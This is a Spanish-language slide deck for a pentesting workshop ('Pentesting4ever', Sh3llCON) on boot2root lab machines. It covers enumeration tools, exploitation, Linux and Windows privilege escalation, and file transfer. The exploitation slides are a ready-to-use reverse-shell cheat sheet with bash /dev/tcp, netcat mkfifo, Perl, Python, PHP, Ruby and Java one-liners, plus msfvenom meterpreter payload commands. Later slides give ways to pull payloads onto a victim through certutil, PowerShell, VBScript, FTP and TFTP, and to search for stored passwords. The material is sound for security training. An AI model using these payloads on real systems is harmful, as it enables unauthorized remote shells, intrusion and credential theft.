

Pentesting4ever

Sh3llCON 202

Ignacio Brihuela Rodríguez a.k.a n4xh4ck5

ÍNDICE

- Whoami
- Motivación
- Enumeración
- Explotación
- Escalada de privilegios
- Postexplotación

ÍNDICE

- Whoami
- Motivación
- Enumeración
- Explotación
- Escalada de privilegios
- Postexplotación

Whoami: Nacho Brihuega

- Coordinador técnico de hacking en ElevenPaths
Cybersecurity Professional Services en Telefónica.*Telefónica*
- Graduado en Ingeniería en Tecnologías de la Telecomunicación, especialidad en ingeniería telemática (UAH)
- Máster en Seguridad Informática (UNIR).
- Coautor en blog “Follow the White Rabbit”.
- OSCP
- @n4xh4ck5



DISCLAIMER

- La información que se va a mostrar es de carácter público.
- Se ofuscará la mayor parte de las ocasiones para no mostrar el origen de la información.
- Las técnicas demostradas son para fines académicos, no nos hacemos responsables de su uso para otros fines.
- Hack&Learn&Share

**KEEP
CALM
AND
HACK
ON**



ÍNDICE

- Whoami
- Motivación
- Enumeración
- Explotación
- Escalada de privilegios
- Postexplotación

MOTIVACIÓN

El objetivo del taller Pentesting4ever **NO** es ser un seminario o masterclass, sino un taller dinámico donde los asistentes *cacharreen* con unas máquinas y todos juntos hallen la solución. El taller se enfocará en la realización de máquinas *boot2root* desarrolladas por el ponente con servicios y software que se encuentran en escenarios reales

ÍNDICE

- Whoami
- Motivación
- Enumeración
- Explotación
- Escalada de privilegios
- Postexplotación

ENUMERACIÓN

- Enumeración servicios y puertos: nmap y su colección de scripts
- Web:
 - Nikto (<https://github.com/sullo/nikto>)
 - Dirseach (<https://github.com/maurosoria/dirsearch>)
 - Burpsuite
 - CMS: REF: <https://www.fwhibbit.es/recopilacion-de-herramientas-para-analizar-cms>
 - Wpscan, WPSeku, Wphunter, WPForce
 - Drupalscan, drupscan, droopescan
 - CMSmap
 - Joomlascan, joomscan, joomlavs

ENUMERACIÓN

- **Fuerza bruta:**

- hydra (<https://github.com/vanhauser-thc/thc-hydra>)
- hashcat (<https://github.com/hashcat>)
- Patator (<https://github.com/lanjelot/patator>)
- Medusa (<https://github.com/pymedusa/Medusa>)
- cewl (<https://github.com/digininja/CeWL>)

- **SMB:**

- Smbmap (<https://github.com/ShawnDEvans/smbmap>)
- Smbclient
(<https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbclient.py>)
- Enum4Linux (<https://github.com/portcullislabs/enum4linux>)

ÍNDICE

- Whoami
- Motivación
- Enumeración
- **Explotación**
- Escalada de privilegios
- Postexplotación

EXPLOTACIÓN

Posibles vectores de compromiso

- *Aprovechar fallos de config en funcionalidades de subida para subir webshell -> Shell reversa.*
- *Aprovechar vulnerabilidades en software: FTP, SSH, CMS, ...*
- *Fallos de configuración/credenciales por defecto en Tomcat, PHPmyadmin, JBOSS, Jenkins,...*
- *Vulnerabilidades sistema operativo: Shellsock, eternalblue, netapi*
- *Inyección de código SQL -> Ejecución comandos.*
- *Mínimo privilegio en servicios: MSSQL*
- *Reutilización contraseñas.*

EXPLOTACIÓN – Shell remota

Bash: `bash -i >& /dev/tcp/10.0.0.1/8080 0>&1`

`bash: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f`

Perl: `perl -e 'use`

`Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`

Python: `python -c 'import`

`socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`

EXPLOTACIÓN – Shell remota

PHP: `php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'`

Ruby: `ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'`

Netcat: `nc -e /bin/sh 10.0.0.1 1234`

Netcat (Wrong Version)

`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/fJava`

`r = Runtime.getRuntime()`

`p = r.exec(["/bin/bash", "-c", "exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do`

`\$line 2>&5 >&5; done"] as String[])`

`p.waitFor()`

EXPLOTACIÓN - Payloads

REF: <https://netsec.ws/?p=331>

Windows Reverse Shell : `msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address)`

`LPORT=(Your Port) -f exe > reverse.exe`

- **Linux Reverse shell:** `msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address)`
`LPORT=(Your Port) -f elf > reverse.elf`
- **PHP:** `msfvenom -p php/reverse_php LHOST=192.168.0.173 LPORT=443 -f raw > shell.php`
- **ASP:** `msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp > reverse.asp`
- **JSP:** `msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.jsp`
- **Python:** `msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py`

ÍNDICE

- Whoami
- Motivación
- Enumeración
- Explotación
- Escalada de privilegios
- Postexplotación

ESCALADA DE PRIVILEGIOS - Linux

- Enumeración
 - Usuarios: */etc/passwd*
 - Revisión *.bash_history*
 - Versión SSOO:
 - Kernel: *uname -a*
 - Distribución: *cat /etc/*-release*
 - Arquitectura: *uname -m*
 - Revisión servicios: *netstat -ano*
 - Revisión procesos: *ps -fea*
 - *sudo -l*

ESCALADA DE PRIVILEGIOS - Linux

- Enumeración
 - Revisión permisos SUID - ¿Tiene nmap?
 - Revisión ficheros configuración de servicios web en /var/
 - Búsqueda de vulnerabilidades de escalada del kernel: searchsploit
 - Comprobar si la máquina dispone:
 - gcc
 - wget, curl
 - Lograr TTY
 - Revisión tareas programadas: /etc/cron*
 - Revisión PATH: Shell limitada

ESCALADA DE PRIVILEGIOS - Linux

- Enumeración
 - Revisión permisos SUID
 - `find / -perm -1000 -type d 2>/dev/null`
 - `find / -perm -g=s -type f 2>/dev/null`
 - `find / -user root -perm -4000 -print 2>/dev/null`
 - `find / -perm -u=s -type f 2>/dev/null`
 - `find / -user root -perm -4000 -exec ls -ldb {} \;`

ESCALADA DE PRIVILEGIOS - Linux

- Herramientas de enumeración

- LinEnum - <https://github.com/rebootuser/LinEnum>
- Linuxprivchecker -
<https://github.com/sleventyeleven/linuxprivchecker/blob/master/linuxprivchecker.py>
- Linux Suggester Exploit: <https://github.com/mzet-/linux-exploit-suggester>
- Linux Suggester exploit 2: <https://github.com/jondonas/linux-exploit-suggester-2>
- Bashkark: <https://github.com/TheSecondSun/Bashark>
- BeRoot: <https://github.com/AlessandroZ/BeRoot>

ESCALADA DE PRIVILEGIOS - Linux

- **Compilación**

- Cross-compile:
 - `i686-w64-mingw32-gcc exploit.c -o exploit`
- `gcc -m32 -Wl,--hash-style=both exploit.c -o exploit` – 32 bits
- `gcc -m64 -Wl,--hash-style=both exploit.c -o exploit` – 64 bits
- En máquinas de 32 bits:
 - `i686-w64-mingw32-gcc 40564.c -o 40564 -lws2_32`

ESCALADA DE PRIVILEGIOS - Windows

- **Identificación sistema operativo:**
 - Systeminfo: systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
 - C:\\\\WINDOWS/System32/eula.txt
- **Servicios:** netstat -ano
- **Quien soy?** Whoami / echo %username%
- **Tareas:** schtasks /query /fo LIST /v
- **Procesos en ejecución:** tasklist /SVC
- **Firewall Windows:**
 - Estado: netsh firewall show state
 - Configuración: netsh firewall show config

ESCALADA DE PRIVILEGIOS - Windows

- **Búsquedas interesantes:**
 - c:\sysprep.inf
 - c:\sysprep\sysprep.xml
 - %WINDIR%\Panther\Unattend\Unattended.xml
 - %WINDIR%\Panther\Unattended.xml
- **Búsqueda contraseñas, ficheros de config:**
 - dir /s *pass* == *cred* == *vnc* == *.config*
 - findstr /si password *.xml *.ini *.txt

ESCALADA DE PRIVILEGIOS - Windows

Herramientas de enumeración

- **Windows Suggester Exploit** - <https://github.com/GDSSecurity/Windows-Exploit-Suggester>
- **PowerUp** - <https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1>
- **WindowsEnum** - <https://github.com/absolomb/WindowsEnum>
- **Windows Privesc check** - <https://github.com/pentestmonkey/windows-privesc-check>
- **Sherlock** - <https://github.com/rasta-mouse/Sherlock>

ESCALADA DE PRIVILEGIOS – Transferencia de ficheros

- **Linux:** wget/curl: wget <http://192.168.1.150:1234/exploit.c>

- **Windows:**

- Si tiene **python**: Transferir wget.exe:

```
c:\Python26\python.exe -c "exec(\"import  
urllib;urllib.urlretrieve('http://10.10.0.98/wget.exe',  
'C:\wmpub\wmiislog\wget.exe')\")"
```

- Si tiene **powershell**:

- *powershell -c "(new-object*

```
System.Net.WebClient).DownloadFile('http://10.10.10.98/AppCompatCache.  
exe','C:\Users\Antonio\Desktop\AppCompatCache.exe')"
```

- *powershell -c 'Invoke-WebRequest "http://IP/nc.exe" -OutFile*

ESCALADA DE PRIVILEGIOS – Transferencia de ficheros

- Si no tiene powershell ni Python:
 - **Certutil:** Por defecto instalado en las últimas versiones. No es obligatoria indicarla ruta absoluta.

```
certutil -urlcache -split -f "http://10.10.14.63/shell.exe"  
"C:\Users\security\shell.exe"
```
 - **Debug.exe.** Para máquinas 32 bits (No recomendada).

ESCALADA DE PRIVILEGIOS – Transferencia de ficheros

- **Si no tiene powershell ni Python:**
 - VBScript: En Windows XP y WinServ2k3 y Powershell (desde windows 7 y winServ2k9 en adelante). Similar a la FTP.
 - `cscript wget.vbs http://10.10.10.5/evil.exe evil.exe`

ESCALADA DE PRIVILEGIOS – Transferencia de ficheros

- Si no tiene powershell ni Python
 - FTP:
 - Instalar un FTP en la máquina atacante (pure-ftpd)
 - Desde la máquina víctima:
 - C:\wmpub>echo open 10.10.10.63 21 > esftp.txt
 - C:\wmpub>echo USER n00b n00b >> esftp.txt
 - C:\wmpub>echo bin >> esftp.txt
 - C:\wmpub> echo GET exploit.exe >> esftp.txt
 - C:\wmpub>echo bye >> esftp.txt
 - C:\wmpub>ftp -v -n -s:esftp.txt

ESCALADA DE PRIVILEGIOS – Transferencia de ficheros

- Si no tiene powershell ni Python
 - **TFTP**: Se ejecuta bajo UDP. Por defecto, viene instalado en Windows XP and 2003 (windows server). Mientras que en Windows 7 y Windows server 2008, no viene por defecto y requiere que se añado manualmente.
 - Desde la **Kali**:
 - mkdir /tftp
 - root@kali:~# atftpd --daemon --port 69 /tftp
 - root@kali:~# cp /usr/share/windows-binaries/nc.exe /tftp/
 - Desde **Windows**: tftp -i 10.10.10.63 get nc.exe

REFERENCIAS

- <https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/>
- <https://payatu.com/guide-linux-privilege-escalation/>
- https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html
- <https://www.rebootuser.com/?p=1623>
- <https://www.hackingarticles.in/linux-privilege-escalation-via-automated-script/>
- <https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/>
- <http://pwnwiki.io/#!/privesc/windows/index.md>
- <https://gist.github.com/s4vitar/b88fef5d9fbdbcc5f30729f7e06826e>

DUDAS

